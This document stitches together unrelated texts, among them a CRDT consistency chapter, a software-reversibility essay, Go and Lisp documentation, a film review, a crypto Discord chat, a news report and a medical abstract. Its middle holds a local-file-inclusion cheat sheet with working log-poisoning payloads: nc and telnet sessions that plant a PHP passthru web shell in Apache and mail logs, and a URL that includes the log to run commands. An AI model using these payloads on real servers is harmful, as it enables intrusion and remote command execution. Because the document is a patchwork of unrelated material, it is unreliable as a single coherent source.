Availability and Consistency are the defining characteristics of any distributed system. As dictated by the CAP theorem, accommodating network partitions requires a trade off between the two properties. Modern day large scale internet based distributed systems have to be highly available. To manage huge volumes of data (big data) and to reduce access latency for geographically diverse user base, their data centers also have to be geographically spread out. Network partitions which would otherwise happen with a low probability on a local network become certain events in such systems. To ensure availability in the event of partitions, these systems have to replicate data objects. This begs the question, how to ensure consistency of these replicas? It turns out there are different notions of consistency which the system can adhere to.
Strong Consistency implies linearizability of updates, i.e., all updates applied to a replicated data type are serialized in a global total order. This means that any update will have to be simultaneously applied to all other replicas. Its obvious that this notion of consistency is too restrictive. A single unavailable node will violate this condition. Forcing all updates to happen synchronously will impact system availability negatively. This notion clearly does not fit the requirements of highly available fault tolerant systems.
Eventual Consistency is a weaker model of consistency that does not guarantee immediate consistency of all replicas. Any local update is immediately executed on the replica. The replica then sends its state asynchronously to other replicas. As long as all replicas share their states with each other, the system eventually achieves stability. Each replica finally contains the same value. During the execution, all updates happen asynchronously at all replicas in a non-deterministic order. So replicas can be inconsistent between updates. If updates arrive concurrently at a replica, a consensus protocol can be employed to ensure that both updates taken together do not violate an invariant. If they do, a rollback has to be performed and the new state is communicated to all the other replicas.
Most large scale distributed systems try to be Eventually Consistent to ensure high availability and partition-tolerance. But conflict resolution is hard. There is little guidance on correct approaches to consensus and its easy to come up with an error prone ad-hoc approach. What if we side-step conflict resolution and rollback completely? Is there a way to design data structures which do not require any consensus protocols to merge concurrent updates?
Consider a replicated counter. Each node can increment the value of its local copy. The figure below shows three nodes which increment their local copies at arbitrary time points and each replica sends its value asynchronously to the other two replicas. Whenever it receives the value of its replica, it adds it to its current value. If two values are received concurrently, both will be added together to its current value. So merging replicas in this example becomes trivial.
Let’s take a look at another interesting generalization of this. Integer Vector
We can make an interesting observation from the previous examples:
All distributed data structures don’t need conflict resolution
This raises the following question:
How can we design a distributed structure such that we don’t need conflict resolution?
The answer to this question lies in an algebraic structure called the join semilattice.
A join-semilattice or upper semilattice is a partial order ≤
with a least upper bound (LUB) ⊔
for all pairs.
m = x ⊔ y
is a Least Upper Bound of { x , y }
under ≤
iff ∀m′, x ≤ m′ ∧ y ≤ m′ ⇒ x ≤ m ∧ y ≤ m ∧ m ≤ m′
.
Here the least upper bound ⊔
has the follow properties:
Associative
(x ⊔ y) ⊔ z = x ⊔ (y ⊔ z)
Commutative
x ⊔ y = y ⊔ x
Idempotent
x ⊔ x = x
The examples we saw earlier were of structures that could be modeled as join semilattices. The merge operation for the increment only counter is the summation function and for the integer vector it is the per-index maximum of the vectors being merged.
So, if we can model the state of the data structure as a partially ordered set and design the merge operation to always compute the “larger” of the two states, its replicas will never need consensus. They will always converge as execution proceeds. Such data structures are called CRDTs (Conflict-free Replicated Data Type). But what about consistency of these replicas?
We discussed a notion of consistency, Eventual Consistency, in which replicas eventually become consistent if there are no more updates to be merged. But the update operation is left unspecified. Its possible for an update to render the replica in a state that causes it to conflict with a later update. In this case the replica may have to roll back and use consensus to ensure that all replicas do the same to ensure consistency. This is complicated and wasteful. But if replicas are modeled as CRDTs, the updates never conflict. Regardless of the order in which the updates are applied, all replicas will eventually have equivalent state. Note that no conflict arbitration is necessary. This kind of Eventual Consistency is a stronger notion of consistency than the one that requires conflict arbitration and hence is called Strong Eventual Consistency.
Let’s study SEC data objects from the perspective of CAP theorem.
Each distributed replica will communicate asynchronously with other reachable replicas. These replicas will eventually converge to the same value. There is no consistency guarantee on the value of replicas not reachable due to network conditions and hence this condition is strictly weaker than strong consistency. But as soon as those replicas can be reached, they will also converge in a self-stabilizing manner.
Each distributed replica will always be available for local reads and writes regardless of network partitions. In fact, if there are n replicas, a single replica will function even if the remaining n - 1 replicas crash simultaneously. This provides an extreme form of availability.
SEC facilitates maximum consistency and availability in the event of network partitions by relaxing the requirement of global consistency. Note that this is achieved by virtue of modeling the data objects as join semilattices.
In a distributed setting, a replica has to handle concurrent updates. In addition to its sequential behavior, a CRDT also has to ensure that its concurrent behavior also ensures strong eventual consistency. This makes it possible for CRDTs to exhibit behavior that is simply not possible for sequentially consistent objects.
Consider a set CRDT used in a distributed setting. One of the replicas pi executes the sequence add(a); remove(b)
. Another replica pj executes the sequence add(b); remove(a)
. Now both send their states asynchronously to another replica pk which has to merge them concurrently. Same element exists in one of the sets and does not exist in the other set. There are multiple choices that the CRDT designer can make. Let’s assume that the implementation always prefers inclusion over exclusion. So in this case, pk will include both a
and b
.
Now consider a sequential execution of the two sequences on set data structure. The order of execution will be either add(a); remove(b); add(b); remove(a)
or add(b); remove(a); add(a); remove(b)
. In both cases one of the elements is excluded. This is different from the state of the CRDT set implementation. Thus, strong eventually consistent data structures can be sequentially inconsistent.
Similarly, if there are n
sequentially consistent replicas, then they would need consensus to ensure a single order of execution of operations across all replicas. But if n - 1
replicas crash, then consensus cannot happen. This makes the idea of sequential consistency incomparable to that of strong eventual consistency.
This chapter introduced Strong Eventual Consistency and the formalism behind CRDTs, join semilattices, which enables CRDTs to exhibit strong eventual consistency. The discussion however does not answer an important question:
Can all standard data structures be designed as CRDTs?
The next chapter sheds more light on the design of CRDTs and attempts to answer this question.

Nothing is more dangerous than an idea if it's the only one you have.
Emil-Auguste Chartier, Propos sur la religion, 1938
Engineers prefer simple, single solutions to problems. Math tests that allow you to proclaim with great confidence that x = 2 are much more comfortable than fuzzy, warm essays about the myriad causes of the French Revolution. Management tends to agree with the engineers: single, easy answers fit nicely on spreadsheets and project plans.
If only the real world would cooperate! Unfortunately, while x is 2 today, it may need to be 5 tomorrow, and 3 next week. Nothing is forever—and if you rely heavily on some fact, you can almost guarantee that it will change.
There is always more than one way to implement something, and there is usually more than one vendor available to provide a third-party product. If you go into a project hampered by the myopic notion that there is only one way to do it, you may be in for an unpleasant surprise. Many project teams have their eyes forcibly opened as the future unfolds:
"But you said we'd use database XYZ! We are 85% done coding the project, we can't change now!" the programmer protested. "Sorry, but our company decided to standardize on database PDQ instead—for all projects. It's out of my hands. We'll just have to recode. All of you will be working weekends until further notice."
Changes don't have to be that Draconian, or even that immediate. But as time goes by, and your project progresses, you may find yourself stuck in an untenable position. With every critical decision, the project team commits to a smaller target—a narrower version of reality that has fewer options.
By the time many critical decisions have been made, the target becomes so small that if it moves, or the wind changes direction, or a butterfly in Tokyo flaps its wings, you miss.[4] And you may miss by a huge amount.
[4] Take a nonlinear, or chaotic, system and apply a small change to one of its inputs. You may get a large and often unpredictable result. The clichéd butterfly flapping its wings in Tokyo could be the start of a chain of events that ends up generating a tornado in Texas. Does this sound like any projects you know?
The problem is that critical decisions aren't easily reversible.
Once you decide to use this vendor's database, or that architectural pattern, or a certain deployment model (client-server versus standalone, for instance), you are committed to a course of action that cannot be undone, except at great expense.
Many of the topics in this book are geared to producing flexible, adaptable software. By sticking to their recommendations—especially the DRY principle (page 26), decoupling (page 138), and use of metadata (page 144)—we don't have to make as many critical, irreversible decisions. This is a good thing, because we don't always make the best decisions the first time around. We commit to a certain technology only to discover we can't hire enough people with the necessary skills. We lock in a certain third-party vendor just before they get bought out by their competitor. Requirements, users, and hardware change faster than we can get the software developed.
Suppose you decide, early in the project, to use a relational database from vendor A. Much later, during performance testing, you discover that the database is simply too slow, but that the object database from vendor B is faster. With most conventional projects, you'd be out of luck. Most of the time, calls to third-party products are entangled throughout the code. But if you really abstracted the idea of a database out—to the point where it simply provides persistence as a service—then you have the flexibility to change horses in midstream.
Similarly, suppose the project begins as a client-server model, but then, late in the game, marketing decides that servers are too expensive for some clients, and they want a stand-alone version. How hard would that be for you? Since it's just a deployment issue, it shouldn't take more than a few days. If it would take longer, then you haven't thought about reversibility. The other direction is even more interesting. What if the stand-alone product you are making needs to be deployed in a client-server or n-tier fashion? That shouldn't be hard either.
The mistake lies in assuming that any decision is cast in stone—and in not preparing for the contingencies that might arise. Instead of carving decisions in stone, think of them more as being written in the sand at the beach. A big wave can come along and wipe them out at any time.
Tip 14
There Are No Final Decisions
While many people try to keep their code flexible, you also need to think about maintaining flexibility in the areas of architecture, deployment, and vendor integration.
Technologies such as CORBA can help insulate portions of a project from changes in development language or platform. Is the performance of Java on that platform not up to expectations? Recode the client in C++, and nothing else needs to change. Is the rules engine in C++ not flexible enough? Switch over to a Smalltalk version. With a CORBA architecture, you have to take a hit only for the component you are replacing; the other components shouldn't be affected.
Are you developing for Unix? Which one? Do you have all of the portability concerns addressed? Are you developing for a particular version of Windows? Which one—3.1, 95, 98, NT, CE, or 2000? How hard will it be to support other versions? If you keep decisions soft and pliable, it won't be hard at all. If you have poor encapsulation, high coupling, and hard-coded logic or parameters in the code, it might be impossible.
Not sure how marketing wants to deploy the system? Think about it up front and you can support a stand-alone, client-server, or n-tier model just by changing a configuration file. We've written programs that do just that.
Normally, you can simply hide a third-party product behind a well-defined, abstract interface. In fact, we've always been able to do so on any project we've worked on. But suppose you couldn't isolate it that cleanly. What if you had to sprinkle certain statements liberally throughout the code? Put that requirement in metadata, and use some automatic mechanism, such as Aspects (see page 39) or Perl, to insert the necessary statements into the code itself. Whatever mechanism you use, make it reversible. If something is added automatically, it can be taken out automatically as well.
No one knows what the future may hold, especially not us! So enable your code to rock-n-roll: to "rock on" when it can, to roll with the punches when it must.
Time for a little quantum mechanics with Schrödinger's cat. Suppose you have a cat in a closed box, along with a radioactive particle. The particle has exactly a 50% chance of fissioning into two. If it does, the cat will be killed. If it doesn't, the cat will be okay. So, is the cat dead or alive? According to Schrödinger, the correct answer is both. Every time a sub-nuclear reaction takes place that has two possible outcomes, the universe is cloned. In one, the event occurred, in the other it didn't. The cat's alive in one universe, dead in another. Only when you open the box do you know which universe you are in.
No wonder coding for the future is difficult.
But think of code evolution along the same lines as a box full of Schrödinger's cats: every decision results in a different version of the future. How many possible futures can your code support? Which ones are more likely? How hard will it be to support them when the time comes?
Dare you open the box?

Here at Breaking Math, we don't try to give you concepts we think you can't handle just to make ourselves feel smart. We get that math is hard for a lot of people, and our episodes are designed to accomodate that. For the more mathematically minded of you, however, we don't skimp on the math, and even have write-ups to go with every episode.
Why is mathematics so hard? Our answer is simple: it is, and always has been, jealously guarded as an elite skill. What does this mean, and what can we do about it? To find out, listen here.
Who are we, what are we doing, what is KUNM, and what does it have to do with you? Check it out here.
Why is mathematics so hard? It's because it's useful. Find out more here

Rules for the Game of Life:
1. Any live cell with fewer than 2 live neighbours dies, as if by underpopulation.
2. Any live cell with 2 or 3 live neighbours lives on to the next generation.
3. Any live cell with more than 3 live neighbours dies, as if by overpopulation.
4. Any dead cell with exactly 3 live neighbours becomes a live cell, as if by reproduction.

Routing lets you hide url variable names from the user. HashRouter doesn't require routing, so some, all, or no variables can be hidden.
Your href tags can also choose to use routes or not. Even if your site uses routes, you can choose to not use them in your links. We've found this makes it easier to read the links when editing. When specifying hrefs without routes, you can specify the links in any order, but routes have to be specified in route order.
These links all point at the same place, but are written with different amounts of routing. HashRouter automatically updates the href after page load, so the link text shows the original href. You can also use Firebug or some other network monitoring tool and look at the loaded html to see the original.
When writing links, you don't have to specify all of the values, only the one you want to update. Other values are automatically inserted by HashRouter, including optional default values.
| Has Route | Has Route | No Route |

Under the right circumstances you might be able to get a shell from a LFI
Apache dirs/logs
include access log from file descriptor /proc/self/fd/XX
include more info from the proc file system
include email log files
include ssh auth.log
include ftp logs
abuse avatar/image/attachment file uploads
include session files
include PHP’s temporarily uploaded files
If you additionally have a phpinfo() output, read here
php://input wrapper
php://filter wrapper
data: wrapper
Log poisoning
There are some requirements. We need to be able to read log files. In this example we are going to poison the apache log file. You can use either the success.log or the error.log
So once you have found a LFI vuln you have to inject php-code into the log file and then execute it. On most systems the apache access log is readable only by root
Insert php-code into the log file
This can be done with nc or telnet
nc <IP_ADDRESS> 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: <IP_ADDRESS>
Connection: close
You can also add it to the error-log by making a request to a page that doesn't exists
nc <IP_ADDRESS> 80
GET /AAAAAA<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: <IP_ADDRESS>
Connection: close
Or in the referer parameter.
GET / HTTP/1.1
Referer: <? passthru($_GET[cmd]) ?>
Host: <IP_ADDRESS>
Connection: close
Execute it in the browser
Now you can request the log-file through the LFI and see the php-code get executed.
http://<IP_ADDRESS>/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
NOTE! 'user' can be fuzzed, along with GET 'resource' and 'user-agent'. See bottom of child page: access.log
Why stop at logs? Any file you can write to and know the location you can include.
Malicious image upload
When the website allows its users to upload images (like avatars).
The embedded PHP code will stay untouched unless the image is resized or pulled through imageMagick / GDlib for any reason. These libs will not trigger any errors, they just strip of the excess data
.
Send E-Mail / Log Injection
The second method is somewhat elaborate. I will explain it using qmail examples, but most mail servers support this feature.
You will need to include the maillog file. This is often located at /var/log/maillog. Now to inject some php code, look at the following example:
Telnet into the mail server.
Fake the sender address: Anything < ?phpinfo();? >. (Spaces are replaced by underscores. So you need to prevent those.)
Look for the phpinfo string in the log file
Test it in PHP
root@test:/# telnet localhost 25
Trying <IP_ADDRESS>...
Connected to localhost.
Escape character is '^]'.
220 hidden.domain.com ESMTP
HELO
250 hidden.domain.com
MAIL FROM: anything < ?phpinfo();? >
250 ok
RCPT TO<EMAIL_ADDRESS>250 ok
DATA
354 go ahead
Subject: phpInjectionTest
.
250 ok<PHONE_NUMBER> qp 7063
quit
The third method, is to send a real email, to a real user, and include the mail file. This might be a bit hard because you will have to guess the filename. The default location for the qmail files is:
/var/qmail/mailnames/[domain.com]/[user]/Maildir/new/.
And the files look like:<PHONE_NUMBER>.4564.server.domain.com. (Meaning [timestamp].[PID].[hostname])
The filename can be guessed using the maillog, the approximate timestamp and PID will show up in this log file. Although its pretty hard to read if you're not familiar with this log format.

Go is an attempt to combine the ease of programming of an interpreted, dynamically typed language with the efficiency and safety of a statically typed, compiled language. It also aims to be modern, with support for networked and multicore computing. Finally, it is intended to be fast: it should take at most a few seconds to build a large executable on a single computer.
Go FAQs
Dependencies are defined (syntactically) in the language, explicit, clear, computable:
import "github.com/go-martini/martini"
Unused dependencies cause error at compile time.
go get to download and to install dependencies.
In Go, a package is an interface that exposes a set of features ready to use.
Remote packages can get imported in the same way of local dependencies:
package main
import "fmt"
Go has a clean syntax. Not super small, just clean:
package main
import "fmt"
func hello(message string) {
fmt.Println(message)
}
func main() {
go hello("Hello")
go hello("World")
}
It is part of the language, not a library.
Based on three concepts:
package main
import (
"time"
"fmt"
)
func main() {
c1 := make(chan string)
c2 := make(chan string)
go func() {
time.Sleep(time.Second * 1)
c1 <- "one"
}()
go func() {
time.Sleep(time.Second * 2)
c2 <- "two"
}()
for i := 0; i < 2; i++ {
select {
case msg1 := <-c1:
fmt.Println("received", msg1)
case msg2 := <-c2:
fmt.Println("received", msg2)
}
}
}
Go lets you limit allocation by controlling memory layout.
package main
import "fmt"
type human struct {
gender string
}
type person struct {
human
name string
surname string
}
func main() {
foo := person{human: human{"male"}, name: "foo", surname: "bar"}
fmt.Println(foo.gender, foo.name, foo.surname)
}
Multiple function return values inform the design for handling errors. Go has no try-catch control structures for exceptions.
Philosophy: Forces you think about errors—and deal with them—when they arise. Errors are normal. Errors are not exceptional.
Always intended to do automatic code formatting. Runs as a "presubmit" to the code repositories. Simplifies sharing.
$ gofmt main.go
Golint differs from gofmt. Gofmt reformats Go source code, whereas golint prints out style mistakes.
$ golint main.go
Fix finds Go programs that use old APIs and rewrites them to use newer ones. After you update to a new Go release, fix helps make the necessary changes to your programs.
$ go tool fix .
Documentation is a huge part of making software accessible and maintainable. Philosophy: the easier it is for programmers to produce good documentation, the better for everyone. Godoc parses Go source code - including comments - and produces documentation as HTML or plain text. The end result is documentation tightly coupled with the code it documents.
$ godoc fmt
Get downloads and installs the packages named by the import paths, along with their dependencies.
$ go get
Build compiles the packages named by the import paths, along with their dependencies, but it does not install the results.

SNEAKERS A film review by Too FAT Guys Copyright 1992 by Roger & Me
Roger: I love movies made by liberals!
Roger: Of course, this means round two of Dan vs. Hollywood. I'll be watching C-SPAN for his review.
Roger: SNEAKERS, a techno-thriller, engages in some of the least subtle government bashing in recent memory. Martin Bishop (Robert Redford) runs a computer security company with "Mother" (Dan Aykroyd), "Whistler" (David Strathairn), Crease (Sidney Poitier), and Carl (River Phoenix). They are hired by NSA agents to steal a black box. After retrieving the device, they soon discover what it is: the ultimate code breaker.
Roger: And this is really the only portion of the movie whose technical accuracy can be questioned. Using the black box, they break into several services, such as the "National Power Grid". Aside from the improbability of such a service existing, the NPG seems to trust encryption enough to do away with authentication.
Roger: There were also several other technical inaccuracies, but I was willing to excuse them. Accuracy is an admirable goal, but it doesn't always make great cinema. At least they bothered to hire a technical advisor.
Roger: The director and co-writter, Phil Alden Robinson, is also a techno-phile. As a matter of fact, he could well be reading this, since he's a CompuServe subscriber (hi, Phil). Perhaps his computer savvy explains the film's view of our information-based world order.
Roger: Information plays so great a role, that the villain seems almost incidental. The real target of abuse is the government. Certainly, the film seems to be saying that the government is the greatest abuser of information. And who could fault anyone for criticizing the government?
Roger: Not I. I always enjoy a few rounds of government bashing. In fact, I enjoyed most of the film. It was suspenseful and well-paced. The plot was well thought out, believable, and held together well. I give this film a thumbs up.
Roger: With little exception, the acting was fine. With a cast this size, there's not much room for character depth. However, it's hard to miss with this many Academy nominated actors. I give this film a thumbs up as well.
Roger: So, that's two thumbs up for SNEAKERS. That's all for now -- the tty is closed. -- For the latest review by the Too FAT Guys, finger<EMAIL_ADDRESS>.

A lexical closure is a function that can refer to and alter the values of lexical bindings established by binding forms that textually include the function definition.
Consider this code, where x is not declared special:
(defun two-funs (x) (list (function (lambda () x)) (function (lambda (y) (setq x y))))) (setq funs (two-funs 6)) (funcall (car funs)) ⇒ 6 (funcall (cadr funs) 43) ⇒ 43 (funcall (car funs)) ⇒ 43
The function special form coerces a lambda expression into a closure in which the lexical environment in effect when the special form is evaluated is captured along with the lambda expression.
The function two-funs returns a list of two functions, each of which refers to the binding of the variable x created on entry to the function two-funs when it was called. This variable has the value 6 initially, but setq can alter this binding. The lexical closure created for the first lambda expression does not "snapshot" the value 6 for x when the closure is created; rather it captures the binding of x. The second function can be used to alter the value in the same (captured) binding (to 43, in the example), and this altered variable binding then affects the value returned by the first function.
In situations where a closure of a lambda expression over the same set of bindings may be produced more than once, the various resulting closures may or may not be identical, at the discretion of the implementation. That is, two functions that are behaviorally indistinguishable might or might not be identical. Two functions that are behaviorally distinguishable are distinct. For example:
(let ((x 5) (funs '())) (dotimes (j 10) (push #'(lambda (z) (if (null z) (setq x 0) (+ x z))) funs)) funs)
The result of the above form is a list of ten closures. Each requires only the binding of x. It is the same binding in each case, but the ten closure objects might or might not be identical. On the other hand, the result of the form
(let ((funs '())) (dotimes (j 10) (let ((x 5)) (push (function (lambda (z) (if (null z) (setq x 0) (+ x z)))) funs))) funs)
is also a list of ten closures. However, in this case no two of the closure objects can be identical because each closure is closed over a distinct binding of x, and these bindings can be behaviorally distinguished because of the use of setq.
The result of the form
(let ((funs '())) (dotimes (j 10) (let ((x 5)) (push (function (lambda (z) (+ x z))) funs))) funs)
is a list of ten closure objects that might or might not be identical. A different binding of x is involved for each closure, but the bindings cannot be distinguished because their values are the same and immutable (there being no occurrence of setq on x). A compiler could internally transform the form to
(let ((funs '())) (dotimes (j 10) (push (function (lambda (z) (+ 5 z))) funs)) funs)
where the closures may be identical.
It is possible that a closure does not close over any variable bindings. In the code fragment
(mapcar (function (lambda (x) (+ x 2))) y)
the function (lambda (x) (+ x 2)) contains no references to any outside object. In this case, the same closure might be returned for all evaluations of the function form.

dont need to say more

low liquidity
add some
Markus20-Jul-19 12:09 PM
im not a bank
ComputerGenie 👴👴👴20-Jul-19 12:09 PM
one needs to be a bank in order to purchase KMD?
Markus20-Jul-19 12:09 PM
to move price yes
ComputerGenie 👴👴👴20-Jul-19 12:10 PM
be a buyer and not a dumper
Tek20-Jul-19 12:10 PM
Well well
Markus20-Jul-19 12:10 PM
i dont dump
Tek20-Jul-19 12:10 PM
If it isn't computergenelet
Markus20-Jul-19 12:11 PM
i wonder how many of those 64 notary nodes sell their kmd to cover costs
richardt20-Jul-19 12:11 PM
Too many weak hands
Markus20-Jul-19 12:12 PM
Im not sure rebrand did spread the word at all more then having a dex honestly
when coinex listed kmd they stated kmd being a privacy coin....even after rebrand
richardt20-Jul-19 12:12 PM
Also too many people wondering why hold KMD and what is its use case. Same people who buy other shitcoins... go figure
ComputerGenie 👴👴👴20-Jul-19 12:13 PM
why hold BTC and what is its use case....
richardt20-Jul-19 12:13 PM
For some reason, KMD is held at a much higher standard than other coins
meatspoon20-Jul-19 12:13 PM
I think the use case of KMD is being able to bitch about 1/tech in this discord channel. Seems to be primary use case.
Markus20-Jul-19 12:13 PM
enough that its the coin with most liquidity and price moves constantly
gains/losses non stop
kmd last weeks is like a stable coin
11-12k
ComputerGenie 👴👴👴20-Jul-19 12:14 PM
and yet you hang around, anyway, meatspin
meatspoon20-Jul-19 12:14 PM
Yup. Like a stubborn dingle berry
Tek20-Jul-19 12:15 PM
Selling kmd after the hack was the best decision of my life ( not really but still good)
ComputerGenie 👴👴👴20-Jul-19 12:17 PM
kmd last weeks is like a stable coin
11-12k
tbh, that is the exact real problem
"stable" value compared to BTC in terms of BTC
you cannot have the mentality of BTC being the base comparison and attempting to break away from BTC
Markus20-Jul-19 12:17 PM
even if u compare against usd then its still down
alot
from 1.7 to 1.2
in no time
richardt20-Jul-19 12:18 PM
people selling the news
ComputerGenie 👴👴👴20-Jul-19 12:18 PM
even if u compare against usd then its still down
KMD was 81 cents on Jan 1, so $1.20 is up not down
Markus20-Jul-19 12:19 PM
so thats 50% gain, and btc?
either way suffering will keep going from what i can see
Genie is gonna say something super profound here. I can feel it.

In order to understand Bitcoin, non-technical competence in humanities, religious studies and sociology is essential.
Don't be childish, Bitcoin is a serious phenomenon.
 Once KMD no longer needs to notarize to BTC

... Once KMD no longer needs to notarize to BTC
that already happened when notarizations started
KMD never needed to notarize to BTC
it's a choice due to hashrate(edited)
richardt20-Jul-19 12:30 PM
doesn't seem like much of a choice
for as long as BTC still has highest hashrate
designer20-Jul-19 12:31 PM
please don't talk nonsense and prove it.
when are you gonna prove it?@ComputerGenie 👴👴👴
ComputerGenie 👴👴👴20-Jul-19 12:31 PM
for as long as BTC still has highest hashrate
and round the carousel we go
when are you gonna prove it?
in 2009 when the Bitcoin whitepaper was written
Markus20-Jul-19 12:32 PM
Dont see any other coin ever exceeding bitcoins hashrate
richardt20-Jul-19 12:32 PM
lol... isn't that how all conversations you're involved in goes?

there is never coin to beat Bitcoin's neutrality.
ComputerGenie 👴👴👴20-Jul-19 12:34 PM
BTC holds the hash because folks hold the mentality that it's "king"
if you can't even shake fanboys in a specific non-BTC discord of that mentality, how do you expect that "normal" folks are going to shake it?
Bitcoin's neutrality@designer dafuq are you on about?

When that awful Agama wallet vulnerability was discovered I moved my KMD to a CEX since a CEX was safer than the recommended wallet for the highest tech project in existence (breath in the irony). When I moved my KMD back to a clean versus wallet, I sent 20 KMD at first just to test. For shits and giggles I checked my position on the rich list with 20 KMD and saw that there are less than 20,000 people who own KMD. KMD is a tiny, tiny creature next to BTC.
 KMD is like a happy chihuahua all loud and cocky next to a T-Rex.
How many people own btc?
ComputerGenie 👴👴👴20-Jul-19 12:38 PM
usefully? not as many as you'd think
holding $100 with at $10k isn't useful when tx fees are $20

bitcoin imperialism began. we have to admit it now.
It entered a new order after World War II. because of Bitcoin.

It's funny you say that. I don't think you're quite living in the same reality as most people
haa

btc will always be king doesnt rly matter what ppl think or do about it....like it or not doesnt change much

ComputerGenie 👴👴👴20-Jul-19 12:41 PM
I don't think you're quite living in the same reality as most people
true, I don't believe that s shit s
seriously, other than something that would give Ponzi a wet dream, explain the in-reality notion of BTC ever hitting $20k absent the financial collapse of the USD....

please i don't want the Komodo platform to become a playground for immature anarchist.

I wish I lived in your reality where KMD has a higher market cap than BTC.... man I would love that reality

Decentralization is never possible.

ComputerGenie 👴👴👴20-Jul-19 12:45 PM
a playground for immature anarchist
decentralization is the bedrock of Bitcoin (yet another reason why BTC isn't Bitcoin)
I wish I lived in your reality where KMD has a higher market cap than BTC....

 He is kinda like a wild-eyed bearded dude wearing a billboard, ringing a hand bell, proselytizing about KMD’s superiority. I wanna give him some quarters for a cup of coffee.

11.2 The pdb ModuleThe pdb module is the standard Python debugger. It is based on the bdb debugger framework. You can run the debugger from the command line (type n [or next] to go to the next line and help to get a list of available commands): $ pdb.py hello.py > hello.py(0)?() (Pdb) n > hello.py() (Pdb) n hello again, and welcome to the show --Return-- > hello.py(1)?()->None (Pdb) Example 11-2 shows how to start the debugger from inside a program. Example 11-2. Using the pdb ModuleFile: pdb-example-1.py import pdb def test(n): j = 0 for i in range(n): j = j + i return n db = pdb.Pdb() db.runcall(test, 1) > pdb-example-1.py(3)test() -> def test(n): (Pdb) s > pdb-example-1.py(4)test() -> j = 0 (Pdb) s > pdb-example-1.py(5)test() -> for i in range(n): ... |

#BayelsaDecides: PDP wins in Timi Alaibe's polling unit
by Cletus UkpongThe candidate of the Peoples Democratic Party (PDP), Duoye Diri, has won the governorship election in Timi Alaibe’s polling unit, Unit 4, Ward 7 (Igbainwari town square), Kolokuma/Okpokuma Local Government Area.
Mr Diri scored 74 votes in the unit, while his closest rival, David Lyon of the All Progressives Congress (APC), scored 34.
Mr Diri also won in three more units in the ward, from the results seen by PREMIUM TIMES.
He scored 107 votes in Unit 3, while Mr Lyon scored 51.
He scored 68 votes in Unit 2, while Mr Lyon scored 32.
In Unit 1, the PDP candidate scored 68 votes, while the APC candidate scored 36.
The election result in the unit has somehow put paid to information making the rounds before the election that Mr Alaibe was persuading PDP members to defect to the APC after he failed to win the PDP governorship primary.
Mr Alaibe is in court to challenge the primary which he alleged was not conducted in accordance with the PDP guidelines and constitution.
“For the avoidance of doubt, Chief Alaibe is not in any way responsible for the defection of these respectable Bayelsans from the PDP to any other party,” Mr Alaibe, a former managing director of the Niger Delta Development Commission (NDDC), had said in a statement.
Mr Alaibe said he would not leave the PDP, despite the pressure on him to do so.

set imprun script-name
This command sets up automatic execution of a Grads script before
every display
command.
This script is typically used to set an option that by default
gets reset after each display
command, for example:
set grads off
You can issue any GrADS command from this script, but the
interactions are not always clear. For example, if you issue a
display
command
from this script, you could enter an infinite recursion loop.
The argument to the script is the expression from the
display

Glucocorticoid receptors on mononuclear leukocytes in polycystic ovary syndrome.
Abstract
OBJECTIVE: Many studies have suggested that there is a possible hormonal dysregulation of hypothalamic-pituitary-adrenal (HPA) axis and an increased cortisol clearance in patients with polycystic ovary syndrome (PCOS). Therefore in this study, we have examined the role of glucocorticoid receptor/s (GR) characteristics in the developing of these abnormalities in patients with PCOS. METHOD: For this purpose, the number and affinity of GR in peripheral mononuclear leukocytes (MNL) of 10 patients with PCOS and 10 healthy women (controls) were determined. RESULTS: There were no significant differences in the number (6500+/-1001 sites/cell and 6352+/-1697 sites/cell, respectively; P > 0.05) and affinity (3.93+/-0.89 nM and 4.49+/-0.71 nM, respectively; P > 0.05) of GR between the PCOS patients and the controls. CONCLUSIONS: These results suggest that the alterations in the HPA axis and in the cortisol metabolism observed in PCOS are not related to GR deficiency.

hey guys very great work!

MACHINE LEARNING:

The Classyfier is a table that detects the beverages people consume around it and chooses music that fits the situation accordingly. A built in microphone catches characteristic sounds and then compares these sounds to a catalogue of pre-trained examples. The Classyfier identifies it as belonging to one of three classes; hot beverages, wine or beer. Each class has its own playlist that one can navigate through by knocking on the table. The idea behind this project was to build a smart object that uses machine learning and naturally occurring sounds as input to enhance the ambiance of different situations.
In order to classify the sounds of the objects we first tried using 512 different frequency amplitudes to identify the different sounds with a nearest neighbour algorithm. This didn’t give us satisfying results because particular glasses have a relatively clean tone which only show up at certain frequencies and the surrounding noise would trigger a lot of faulty detections. After a lot of trial and error we ended up using MFCC (Mel Frequency Cepstral Coefficients) values, which are usually only used for voice recognition in combination with the peak frequency, this gave us way better results. Once we figured out the right audio attributes we needed to train the algorithm using Open Frameworks for about 100 times per glass or beer cane to give people a good experience with our prototype.

The more we understand God’s word, the more we understand what’s right and wrong. How we practice God’s word can make a difference in being Christlike or being religious. A religious attitude stinks. Like really bad body odour after a hard workout or a humid walk under the sun, everyone notices it except you. Some might be kind enough to point it out, while others just avoid you entirely. Regardless, people can smell a religious, insincere attitude a mile away. But believing in God doesn’t make you stinky, your attitude does. Here’s three ways you can keep your holy ‘underarms’ in check:
Am I comparing Inches to Miles?
Every person is on a different place in their walk with God, some are much further along the way than others. Our job isn’t to penalise people when they don’t meet the same convictions as we do, that’s the Holy Spirit’s role. Our job is to speak the truth in love. To not tolerate sin, but imitate God’s love. After all, we ourselves have our own things we’re wrestling with.
Am I comparing Specks to Planks?
It’s easy, even tempting at times to compare others to our standards and allow their shortcomings to justify our own. For example, ‘I may struggle with porn, but at least I don’t sleep around.’ We are not our own, nor each other’s benchmark. The Bible is, and it’s against God’s word that we should measure ourselves. No more, no less.
Am I comparing Lines Crossed to The Cross?
People will make mistakes and cross our lines, when they do, will we remember The Cross covering our own? It’s easy to point out a fault and leave it at that, but it takes more effort to point out a fault and love the person until they understand we value them over their fault.
We are responsible for our own actions, words and thoughts first and foremost. And the more we have of God’s word in our lives, the more we ought to be careful to see it practiced before it is preached.

Active learning" means students engage with the material, participate in the class, and collaborate with each other.
Our teachers have extraordinary levels of patience, enthusiasm, creativity and above all, a love for early childhood education.
A preschool should be in proximity with residential areas having families with children, as parents prefer sending their children nearby for their early schooling..
Our childcare and early education programs focus on school readiness, social and emotional development, literacy, problem solving and other critical life skills.
